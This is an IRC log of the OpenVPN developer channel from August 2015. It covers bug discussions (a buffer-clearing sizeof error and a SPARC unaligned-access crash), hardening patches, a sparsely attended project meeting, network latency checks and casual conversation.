[~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 12:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 15:18 -!- dazo is now known as dazo_afk 18:02 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 18:33 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Thu Aug 20 2015 00:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:46 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:58 -!- dazo_afk is now known as dazo 06:07 <@mattock1> intesting how tricky determining the values of HKLM:\SOFTWARE\OpenVPN\config_dir can be in C#, with all the 32/64-bit stuff in the way 06:08 <@mattock1> in the end, determined that doing C# + Winforms/WPF is the only reasonable option for the openvpn-specific nssm configuration gui 06:08 <@mattock1> I determined 14:27 -!- reators [~holger@2001:1a80:2000:2:2004:d66d:a20d:4de5] has quit [Ping timeout: 244 seconds] 14:28 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 14:28 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 244 seconds] 14:32 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 14:34 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:34 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 14:35 -!- dazo_afk is now known as dazo 14:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:36 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:43 -!- reators [~holger@2001:1a80:2000:2:3c6a:bac2:470d:8718] has joined #openvpn-devel 15:04 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 15:09 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 16:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:37 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 19:16 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 240 seconds] 23:28 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: your mom - its whats for breakfast] --- Day changed Fri Aug 21 2015 01:04 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 250 seconds] 01:26 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 01:26 -!- mode/#openvpn-devel [+o pekster] by ChanServ 01:42 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 250 seconds] 01:44 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 01:44 -!- mode/#openvpn-devel [+o pekster] by ChanServ 03:45 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 04:07 <@syzzer> dazo: https://github.com/OpenVPN/openvpn/pull/33 04:07 <@vpnHelper> Title: Clear input buffer properly in get_console_input_systemd() by syskill · Pull Request #33 · OpenVPN/openvpn · GitHub (at github.com) 04:08 <@syzzer> looks like this guy is right 04:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:09 <@vpnHelper> RSS Update - tickets: #599: Logging should include platform info (if possible) <https://community.openvpn.net/openvpn/ticket/599> 06:38 <@dazo> syzzer: I'm not saying he is wrong now ... but right now I don't see why the buffer size "disappears" ... shouldn't it grasp that based on the pointer it is provided? Or does sizeof() return the size of a pointer instead of the buffer? 06:47 <@dazo> indeed ... sizeof() does not return the buffer size in this case 06:57 <@dazo> This is what happens in reality: 06:57 <@dazo> (gdb) print sizeof(*input) 06:57 <@dazo> $9 = 1 07:15 <@dazo> syzzer: I've added a comment ... we do need to fix this ... but I fear something far uglier have been discovered instead 07:16 <@dazo> ... that CLEAR() isn't doing it's job in some cases 07:29 <@syzzer> dazo: I was aware of that, and have checked various other occurences before 07:29 <@syzzer> CLEAR() is usually used on fixed-size arrays, or structs 07:30 <@syzzer> but it wouldn't surprise me if there are more failing CLEAR() calls in the code 07:30 <@syzzer> I just didn't encounter any yet ;) 07:34 <@dazo> right, I think we need to at least double check all places where pointers are getting dereferenced 07:35 <@dazo> (like *input) 07:39 -!- Netsplit *.net <-> *.split quits: lev__ 07:48 -!- dazo is now known as dazo_afk 08:07 -!- dazo_afk is now known as dazo 09:35 -!- jrgcombr [~jrgcombr@179.34.146.19] has joined #openvpn-devel 12:36 -!- reators [~holger@2001:1a80:2000:2:3c6a:bac2:470d:8718] has quit [Remote host closed the connection] 12:43 <@ecrist> ping mattock 15:26 -!- dazo is now known as dazo_afk 17:08 -!- arlen [~arlen@jarvis.arlen.io] has left #openvpn-devel [] 17:13 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 21:18 -!- jrgcombr_ [~jrgcombr@177.148.147.234] has joined #openvpn-devel 21:21 -!- jrgcombr [~jrgcombr@179.34.146.19] has quit [Ping timeout: 244 seconds] --- Day changed Sat Aug 22 2015 04:43 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 04:50 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 07:05 <@cron2> mornin' 07:06 <@cron2> dazo: well, this is C, so sizeof() has no concept of "how big is the dynamically allocated thing", just "how big is the underlying predefined structure" 07:28 <@cron2> whee... #497... 09:11 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 240 seconds] 09:21 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 10:59 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:29 -!- arlen [~arlen@jarvis.arlen.io] has left #openvpn-devel [] 13:30 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 15:32 <@vpnHelper> RSS Update - tickets: #600: Missing Sanity checks for strdup() in OpenVPN 2.3.x <https://community.openvpn.net/openvpn/ticket/600> 19:36 <+krzee> my server isnt reading the ccd file for a specific client (all other ones are working fine) and im totally sure that the file is named exactly as the CN 19:36 <+krzee> is there a way to get openvpn to report what its trying to do when it tries to read the ccd file? even at verb 9 it seems to just not be trying to load it 19:41 <+krzee> the file has the same permissions and is in the same dir as others that work 19:42 <+krzee> it has a dash in it, but the manual says thats ok and i haver other clients with dash in the CN and its all good 20:17 <+krzee> figured it out, not openvpn's fault (had to do with the overlay on openwrt, a reboot fixed it) 23:17 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: your mom - its whats for breakfast] 23:17 <@ecrist> cron2: terrance and phillip have both been updated to 10.2-RELEASE 23:18 <@ecrist> also, I've done a "pkg upgrade" on both systems --- Day changed Sun Aug 23 2015 07:25 <@cron2> ecrist: including reboot? 07:28 <@cron2> ecrist: ic :-) - the openvn test servers are not reboot-safe (since we never reboot) - restarted, all fine 16:36 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 240 seconds] 16:38 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 17:44 <@ecrist> cron2: should/could we make them reboot safe? 18:35 -!- esde [~esde@openvpn/user/esde] has quit [Quit: .] 18:36 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel --- Day changed Mon Aug 24 2015 02:32 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 06:21 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:21 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 06:24 <@mattock_> who would make it to a meeting today? 06:24 <@mattock_> as in: arrange or postpone 06:26 <@syzzer> I plan to be there 06:30 <@mattock_> ok 06:43 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:43 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:44 <@cron2> ecrist: just don't reboot :) 06:45 <@cron2> mattock: could you get a working IRC bouncer, please? :-) 06:45 <@cron2> re meeting: I plan to be there, but might be a bit late, depending on $family 06:48 <@ecrist> cron2: I don't generally, but having it fault tolerant make software upgrades a bit easier. 06:49 <@mattock1> cron2: re: meeting: ok, good, then we can arrange one 06:50 <@mattock1> cron2: I had a working IRC bouncer, but I had to let it go when its certificate expired and drove me crazy on every connect 06:51 <@mattock1> obviously I did not maintain the bouncer myself, but maybe I should 06:51 <@ecrist> mattock1: screen + irssi 06:51 <@ecrist> :) 06:53 <@mattock1> I don't want to ssh in to get to the IRC, otherwise I would have done that already :P 06:54 <@mattock1> dazo_afk: there's Tim's patchset still waiting for review... any chance of you making it to today's meeting? 06:55 <@mattock1> oh, and if any of you have any topics mind, let me know 06:55 <@mattock1> the topic list is basically empty 07:01 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:01 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 07:01 <@syzzer> mattock: what works for me is a simple znc setup on a VPS, and them just use whatever IRC client you like to connect to znc 07:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 07:02 <@syzzer> I like the kiddie-mode 'smuxi' IRC client (and irssi for the places where that won't work) 07:03 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 07:05 * cron2 wonders what the state of the SuSE hardening patches is... 07:06 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 07:06 <@cron2> the decrypt check is merged... 07:08 <@syzzer> yes, that is high on my list too 07:09 <@syzzer> get more of the hardening / fixes in too 07:09 <@syzzer> I guess we have an ACK from james on the other patch, but we'll merge that before the next release 07:10 <@syzzer> then there are other hardening patches 07:10 <@syzzer> which I (or someone else ofc ;) ) have to polish and send to openvpn-devel 07:11 * cron2 looks around for other volunteers 07:12 * cron2 looks back at syzzer :-) 07:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:13 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 07:26 <@cron2> d12fk, dazo, plaisthos are still missing on the Hackathon attendee list... 07:27 <@cron2> and specifics from mattock :) 07:27 <@cron2> mattock: so is your wife coming along again? mine is 07:49 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 07:51 < mator> cron2, back to sparc bus error, is it possible to make a workaround for https://community.openvpn.net/openvpn/ticket/497 like memcpy(&mss,&opt + 2,sizeof(uint16_t)) ? 07:51 <@vpnHelper> Title: #497 (OpenVPN 2.3.6 crashes with Bus error on Linux/SPARC shortly after startup) – OpenVPN Community (at community.openvpn.net) 07:51 <@cron2> mator: well, that would sort of miss the htons() part :) 07:52 <@cron2> the right code is something along the lines of mssval=opt[2]<<8+opt[3] (or vice versa, byte ordering) 07:52 <@cron2> and brackets 07:54 <@cron2> but as I said I'm travelling, so need to find a quiet moment to code this and see that it does the right thing - could be a few days, could be tonight 07:55 < mator> ok thanks 07:55 < mator> i was reading whole sunday about memory alignment on sparc 07:56 < mator> searching 07:56 < mator> it's currently for me like copy 2 bytes into mss , each one as 1 byte from opt 07:56 <@cron2> I know that sparc CPUs can not read unaligned 16bit values "in hardware" (unlike intel, which will do this just fine) 07:57 <@cron2> some sparc OSes hide this in a kernel trap handler (FreeBSD), others do not (Linux, it seems) 07:57 < mator> cron2, linux/Documentation/unaligned-memory-access.txt tells that no one should do unaliagned memory access 07:57 <@cron2> mator: yes, but you need to do more than "just copy two byte", you need to get the arithmetics right (big-endian/little-endian and network byte order) to make sure the result is a meaningful number 07:57 < mator> it has performance penalty 07:58 <@cron2> yes, unaligned access *should* be avoided, but for something which is done once for every TCP SYN packet, it might be acceptable if it makes the code easier to read 07:58 < mator> btw 07:59 <@cron2> on intel platforms, the performance penality is "one extra memory access", which you have for "two individual byte accesses" as well :-) - so what you really want is aligned structures in memory, but that does not work for TCP options (as we could see) 07:59 < mator> i forgot to mention in ticket, icmp works , only first tcp connection (telnet / not tested with udp) drops to bus error 08:00 <@cron2> that is because only TCP SYN packets can carry the MSS option :-) 08:00 < mator> ahh ok 08:01 * cron2 needs to add a linux/sparc machine to his pool of test candidates... it's subtly different from freebsd/sparc64 so makes a good test candidate :-) 08:02 < mator> cron2, if you want, i can share this installed debian sparc qemu image 08:02 < mator> it's quite slow (very old sparc64 processor emulated) but works 08:02 < mator> let me see how big it is 08:03 <@cron2> mator: thanks for the offer, but the installation bit is actually the easy one, compared to "find a host where I can run it (disk space, memory, CPU), set up bridged networking + an IP for it, etc" :) 08:03 < mator> it works fine with user networking (qemu) 08:04 < mator> if you want, i can bring my qemu instance online (port forwarding) 08:04 < mator> i have a hardware sparc here... but it is installed with solaris 10 08:04 <@cron2> I'll come back to that if needed :-) - for now, I think I know where the sore spot is and can do the patch on linux/i386 08:05 <@cron2> (as for hardware, I have a few U5/U10, an 420R and a U360 around that I could repurpose, but these things suck way too much power to be left running...) 08:06 <@cron2> anyway :-) - afternoon break is over, need to wake up the kids (or they will miss their afternoon entertainment)... will be back tonight 08:06 <@cron2> *wave* 08:06 < mator> ok, thanks again 08:07 < mator> qemu filesize is currently 10G, but it is 9G free in linux 08:07 < mator> so could try to compress to 1G 08:12 < mator> basically linux sparc is almost dead, if not dead completely, since even debian dropped making releases for it... 08:13 < mator> but what interesting, looking at git commits, for example on linux/drivers/block/sunvdc.c , there's @oracle.com domain in them 08:14 <@plaisthos> cron2: where is the list? 08:14 <@plaisthos> wiki? 08:27 -!- dazo_afk is now known as dazo 08:33 <@plaisthos> found it 09:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 09:42 -!- mator [~mator@u163.east.ru] has left #openvpn-devel [] 12:59 * cron2 is here, but needs to check something @work first 13:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:05 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:05 <@mattock1> hi guys! 13:06 <@cron2> hi :) 13:06 <@mattock1> 6 mins past meeting time, so shall we starT? 13:06 <@cron2> nobody here yet 13:07 <@mattock1> oh 13:07 <@cron2> well, except you and me :) 13:07 <@mattock1> so syzzer is coming 13:07 <@mattock1> anyone else? 13:08 <@cron2> I have the feeling this is going to be a short meeting :) 13:08 <@mattock1> the topic list is also pretty sparse (=no topics), so suggestions are taken :D 13:08 <@cron2> any word from dazo recently? 13:08 <@mattock1> no 13:08 <@cron2> T-Shirts! 13:08 <@mattock1> :P 13:09 * cron2 looks on the openvpn-devel list for recent activity 13:10 <@mattock1> let's wait a while for syzzer 13:10 <@mattock1> yeah 13:10 <@cron2> there's a patch today frmo Boris Lytochkind, which looks reasonable, but "it is crypto", so -> syzzer 13:11 <@cron2> there's the radiusplugin thread... which hints at "we want to merge Lev's async plugin call stuff" and "radiusplugin needs some loving" 13:12 <@cron2> RfD: speed up PUSH_REQUEST waits two more weeks for more feedback from plaisthos 13:14 <@mattock1> I wonder if lev knows about the developer meetup... he might have some good stuff for this year also 13:14 <@cron2> yes. Do you want to mail him? 13:14 <@mattock1> I sure can 13:14 <@mattock1> I'll do it now 13:22 <@mattock1> done 13:28 <@cron2> so, all the work done, call it a day? :-) 13:28 <@cron2> how's your windows nssm frontend coming along? 13:30 <@mattock1> slowly but surely 13:30 <@mattock1> I've had the pleasure of learning how to read the registry using C# 13:30 <@mattock1> among other things 13:31 <@mattock1> I will have many more learning oppurtunities to come 13:31 <@mattock1> as for the meeting... I think it should go to suspend mode and if syzzer appear, then it can resume if we're still here 13:33 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 13:34 -!- mode/#openvpn-devel [+v janjust] by ChanServ 13:34 <+janjust> meeting's over? 13:34 <@cron2> suspended 13:35 <+janjust> ah 13:35 <+janjust> good evening, btw 13:35 <@cron2> syzzer is missing and we have no topics :-) 13:35 <@mattock1> hi janjust! 13:35 <@mattock1> just a few patches 13:35 <@cron2> and indeed, good evening! 13:35 <+janjust> and thx for slamming my patch, btw ;) 13:35 <+janjust> (rightfully so) 13:35 <@mattock1> I see a topic emerging :P 13:35 <@cron2> hrhr :) 13:35 <@syzzer> hi, sorry, still at work... 13:35 <@mattock1> hi syzzer! 13:36 <@syzzer> working to get the demo running (needs to work tomorrow morning), all sort of last-minute fallout ofc... 13:36 <@cron2> syzzer: have fun, and see you after the demo, then :-) 13:37 <+janjust> just got back from holidays, am catching up on some trac tickets and my patches 13:37 <+janjust> it seems that we need a good write-up of performance characteristics 13:38 <@cron2> that would be useful indeed 13:38 <@cron2> and how to pinpoint bottlenecks 13:38 <+janjust> yep 13:38 <+janjust> BTW, the book that Eric and I are writing is nearly finished 13:39 <@cron2> a new OpenVPN book? 13:39 <+janjust> yep, Mastering OpenVPN 13:39 <@cron2> cool 13:39 <+janjust> also for Packt, covers up to v2.3.7 13:39 <+janjust> v2.3.8 13:39 <+janjust> I hope to have a hardcopy ready for the hackathon 13:39 * cron2 looks forward to buy one to get it signed :-) - and then discover interesting new applications 13:40 <+janjust> lol, actually, your name is mentioned in the book more than once 13:40 <@cron2> I still do not know all the options... recently discovered --redirect-private - but only because a bug report mentioned it 13:40 <@cron2> \o/ 13:41 <+janjust> "if you think this is annoying, contact cron2, as he implemented this ... of code" :P 13:41 <@cron2> heh! 13:41 <+janjust> and your name is mentioned as well, mattock 13:41 <+janjust> and syzzer too 13:42 <@cron2> the master maker of T-Shirts 13:42 <@mattock1> janjust: ah, in the context of "projects related to OpenVPN and written in C#"? 13:42 <@mattock1> :P 13:43 <+janjust> oops, first typo, we thought you did the VB version 13:43 <@mattock1> lol 13:43 <+janjust> Stop the press! 13:43 <@mattock1> I should have gone the C# route immediately... all the other options suck even more 13:44 <@mattock1> because using a cross-platform toolkit/language was really not an option 13:45 -!- dazo is now known as dazo_afk 13:45 <@cron2> not for doing windows internals, no... 13:46 <@mattock1> well, it's not about that, but the installer size and speed 13:46 <@mattock1> we can't increase the installer size by bundling Python and Qt or something just to manage OpenVPN services 13:46 <@mattock1> increase several megabytes or so, at minimum 13:47 <@mattock1> the executable bytecode that C# is converted into is very small, so the app should be very lean 13:48 <@mattock1> it looks like I have to have two versions at least, one for .NET 3.x and one for .NET 4.x 13:48 <+janjust> lol 13:48 <+janjust> a .NET installer is small because first you have to download 200MB of .NET 13:48 <+janjust> that's similar to java apps being lightweight and small too ;) 13:48 <@mattock1> luckily all versions of Windows since Vista have .NET 13:48 <@mattock1> out of the box 13:49 <@mattock1> Windows 7 has 3.5 I believe 13:49 <@cron2> that is very good... I do remember the .NET installation orgys for XP 13:49 <+janjust> i think I de-installed .NET from my win7 install .... 13:49 <@mattock1> the modern Windows UI stuff (=Windows Presentation Foundation) required .NET 13:49 <@cron2> and for some weird reason, installation and upgrading .NET always takes looooong! 13:49 <@mattock1> janjust: ah, so it is possible to remove it 13:50 <+janjust> I **think** I did... 13:51 <+janjust> lemme check my old laptop later 13:51 <@mattock1> ok 13:51 <@mattock1> there is of course the possibility that some OEMs have removed .NET from their installation for some reason 13:52 <@mattock1> but for almost all users the C# + WPF thingy should work just fine 13:52 <@mattock1> knock knock 13:52 <@cron2> *knock* 13:52 <@cron2> but yes, this sounds good :) 13:53 <+janjust> knock knock? who's there 13:53 <@mattock1> I'm sure that when I get the thing to semi-functional order somebody who knows C# inside out comes along and says: "This is nice, but pretty badly written. Here's a rewrite." 13:53 <@mattock1> :P 13:53 <@mattock1> ok, so "knocking the wood" 13:53 <@cron2> I think this is the basic idea of lots of open source projects :-) 13:53 <@mattock1> yeah :P 13:54 <@cron2> unfortunately, many stay in the "this is ugly, and slow, but gets the job done, so we'll go fishing instead" category 13:54 <@mattock1> one knocks the wood (e.g. a table) to prevent one's fear from coming true 13:55 <@mattock1> https://en.wikipedia.org/wiki/Knocking_on_wood 13:55 <@vpnHelper> Title: Knocking on wood - Wikipedia, the free encyclopedia (at en.wikipedia.org) 13:55 <@mattock1> just in case 13:55 <+janjust> I know, mattock :) but whenever someone types 'knock knock' I'm thinking of knock-knock jokes 13:55 <@mattock1> ah :) 13:55 <@mattock1> so cron2, janjust: anything you'd need to discuss regarding janjust's patches? 13:56 <+janjust> I need to redo my patch, basically 13:56 <+janjust> the wpad/tftp one, that is. I never saw feedback on the verify-client-cert thingie 13:57 <@cron2> that would be syzzer's territory, but he's too busy 13:58 <@cron2> the wpad/tftp one falls more into "packet land" -> mine :) 13:59 <@syzzer> janjust: I have it flagged, but too much stuff to do atm :( 14:00 <+janjust> np, syzzer, no rush 14:01 <@cron2> mmmh 14:01 <@cron2> community.openvpn.net is a bit flaky these days 14:01 <@cron2> as in "routing is unstable" 14:02 <@cron2> and it's not really pinging that well either 14:02 <@mattock1> interesting 14:02 <@cron2> 64 bytes from 54.241.178.103: icmp_seq=1 ttl=51 time=184.437 ms 14:02 <@cron2> 64 bytes from 54.241.178.103: icmp_seq=3 ttl=51 time=217.245 ms 14:02 <@cron2> 64 bytes from 54.241.178.103: icmp_seq=5 ttl=51 time=225.962 ms 14:02 <@mattock1> I suspect this is Amazon's fault 14:02 <@mattock1> at least I'm not aware of any changes made by me or others at the company 14:03 <@cron2> yeah, packet loss happens inside amazon 14:03 <@cron2> if I do an "mtr -t -4 community.openvpn.net", packets leave via ntt.net, and as soon as they hit amazon "internal", quite some loss 14:04 <@mattock1> mtr, interesting, haven't used that before 14:04 <@cron2> and it's not us... tracing from a different ISP has less loss, but still 14:04 <@cron2> mtr is sort of continuously updating traceroute with good statistics 14:05 <+janjust> I'm getting 153 ms (stable) using ping, 140ms using ping6 14:05 <@cron2> interesting enough, IPv6 seems to be fine... 14:05 <@cron2> janjust: no loss? 14:06 <+janjust> indeed, no loss 14:06 <+janjust> but 100+ ms is quite high 14:06 <@cron2> well, seems to be us west coast or such 14:06 <@mattock1> yeah, it is west coast 14:07 <@mattock1> 100ms+ is the norm for me 14:07 <+janjust> --- community.openvpn.net ping statistics --- 14:07 <+janjust> 20 packets transmitted, 20 received, 0% packet loss, time 19178ms 14:07 <+janjust> rtt min/avg/max/mdev = 152.925/153.188/153.478/0.379 ms 14:08 <@cron2> might be ntt<->amazon then 14:08 * cron2 disables monitoring ipv4 for the moment... don 14:09 <@cron2> don't truly have time to diagnose this right now 14:11 <+janjust> mtr is pretty cute :) I did not know that tool either 14:14 <@mattock1> maybe the meeting should now enter the hibernate state until next week or the week after that? 14:14 <@mattock1> unless syzzer is able to pop in pretty quickly 14:14 <@cron2> week after that is better - then I'm back home, and should have a bit of stuff for you to review 14:15 <@cron2> here, people are looking funnily at me for sitting at a camping site with my laptop and typing all the time 14:15 <@mattock1> lol :D 14:15 <+janjust> hehe cron2, enjoy your vacation 14:15 <@cron2> I do :) 14:15 <@mattock1> ok, two weeks from now 14:15 <+janjust> I should have the wpad patch ready next week, but 2 weeks from now is also fine 14:16 <@cron2> spent yesterday evening after family was asleep coding "--redirect-gateway ipv6" :) 14:16 <@mattock1> I will send some sort of summary of today's meeting 14:16 <+janjust> and I might have another patch ready (based on comm ticket #91) : --shaper on the client side 14:16 <@cron2> cool 14:17 <@cron2> then - have a good night :) 14:19 <@mattock1> good night! 14:19 <@mattock1> happy camping! 14:19 <@cron2> :-) 14:20 * cron2 is having fun... spent an hour today cycling around, finding a shop that sells WIND sim cards... 14:20 <@cron2> 3Gbyte for 9 EUR... DTAG roaming is 150Mb for 15 EUR... 14:20 <@mattock1> time well spent :P 14:20 <@cron2> indeed 14:21 <@cron2> not easy, tho, as this is really small-village country ... more fish shops than electronics :) 14:21 <@mattock1> getting a SIM-card + data plan abroad is so painful 14:21 <@mattock1> I actually have not ever done it, because I have not had a really, really pressing need 14:22 <@mattock1> I've only googled at how it could be done in this and that country, and it seems fairly painful most of the time 14:22 <@cron2> 150Mb for 7 days is good enough for SSH and IRC, but you can so totally not open a web browser... I tried to read up a news article yesterday, and ~10 lines of text cost me 40Mb... 14:22 <@mattock1> not "get a prepaid with data plan, period" 14:22 <@mattock1> yeah, you never know what crap the web browser will load 14:22 <@cron2> ah, a real plan 14:22 <@cron2> prepaid is good enough hee 14:23 <@mattock1> or even "with some gigabytes" 14:23 <@cron2> this shop really understands tourists, I think... I waved with my mobile router, and he understood my needs and asked whether I want 3G, 6G or 9G :-) 14:24 <+janjust> which country is this, cron2? 14:24 <+janjust> my phone only does 3G, so I would not need 6G :P 14:24 <+janjust> (bad joke) 14:27 <@cron2> janjust: italy 14:27 <@cron2> the incumbent is TIM (Telecom Italia Mobile), but their coverage is so bad that only the "new kid on the block" WIND makes any sense here 14:27 <+janjust> my favorite european vacation spot 14:28 <@cron2> yeah, quite a few caravans from .nl here :) (and looots from .de) 14:28 <@mattock1> I believe most of Tuscany is owned by germsn 14:28 <@mattock1> germans 14:28 <@cron2> no idea 14:28 <+janjust> I've spent many weeks in tuscany on camp sites (in a tent) , and yes many caravans from .nl and .de 14:28 <@mattock1> all the romantic villas in the lovely Tuscany countryside... Italians themselves can't afford them 14:29 <@mattock1> ah, caravans 14:31 <+janjust> supposedly I'm in caravan-age now (40+) but I don't own one (nor do I intend to) 14:32 <@cron2> caravan rentals exist :) 14:32 <+janjust> hehe never rented one, I did rent campers (RVs) a few times 14:39 <@cron2> ok, going offline again *wave* 14:39 <@mattock1> bye! 14:40 <+janjust> bye! 14:41 <@mattock1> summary away 14:43 <+janjust> you did include the part about caravans, I hope 14:48 <@mattock1> unfortunately no, because the meeting ended before that :P 14:49 <+janjust> lol 14:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 14:54 <@syzzer> q 14:57 <+janjust> question, syzzer ? 15:22 -!- jrgcombr [~jrgcombr@177.148.147.234] has joined #openvpn-devel 15:23 -!- jrgcombr_ [~jrgcombr@177.148.147.234] has quit [Read error: Connection reset by peer] 15:23 -!- jrgcombr [~jrgcombr@177.148.147.234] has quit [Read error: Connection reset by peer] 16:19 <@cron2> plaisthos: did you change your mail client? 16:39 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 16:44 <@plaisthos> cron2: not really 16:44 <@plaisthos> cron2: I changed the pc 16:44 <@plaisthos> and yes I noticed the broken gpg --- Day changed Tue Aug 25 2015 00:15 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 246 seconds] 00:21 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 00:22 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 00:22 -!- dazo_afk is now known as dazo 00:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:47 -!- weary [~weary@2a01:7c8:aab2:9e::1] has joined #openvpn-devel 02:23 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:27 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:32 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 02:39 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 02:56 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:02 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 03:05 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:17 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 03:21 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 06:38 -!- mighq [~mighq@2001:67c:284:16:bb9c:29ea:957:6f48] has joined #openvpn-devel 06:45 <@syzzer> janjust: fire away 08:32 -!- jrgcombr [~jrgcombr@179.34.167.44] has joined #openvpn-devel 08:34 <@ecrist> bang bang 10:21 -!- mighq [~mighq@2001:67c:284:16:bb9c:29ea:957:6f48] has quit [Quit: Leaving.] 10:31 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 10:31 -!- mode/#openvpn-devel [+v janjust] by ChanServ 10:31 <+janjust> ping ecrist 11:19 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 11:54 <@ecrist> pong 11:54 <@ecrist> too late 12:29 -!- jrgcombr [~jrgcombr@179.34.167.44] has quit [Ping timeout: 252 seconds] 14:10 -!- dazo is now known as dazo_afk 14:27 -!- jrgcombr [~jrgcombr@177.139.245.237] has joined #openvpn-devel 14:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 15:18 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has joined #openvpn-devel 16:41 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 16:41 -!- mode/#openvpn-devel [+v janjust] by ChanServ 17:12 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Ping timeout: 246 seconds] 19:45 -!- jrgcombr_ [~jrgcombr@179.34.131.41] has joined #openvpn-devel 19:48 -!- jrgcombr [~jrgcombr@177.139.245.237] has quit [Ping timeout: 255 seconds] --- Day changed Wed Aug 26 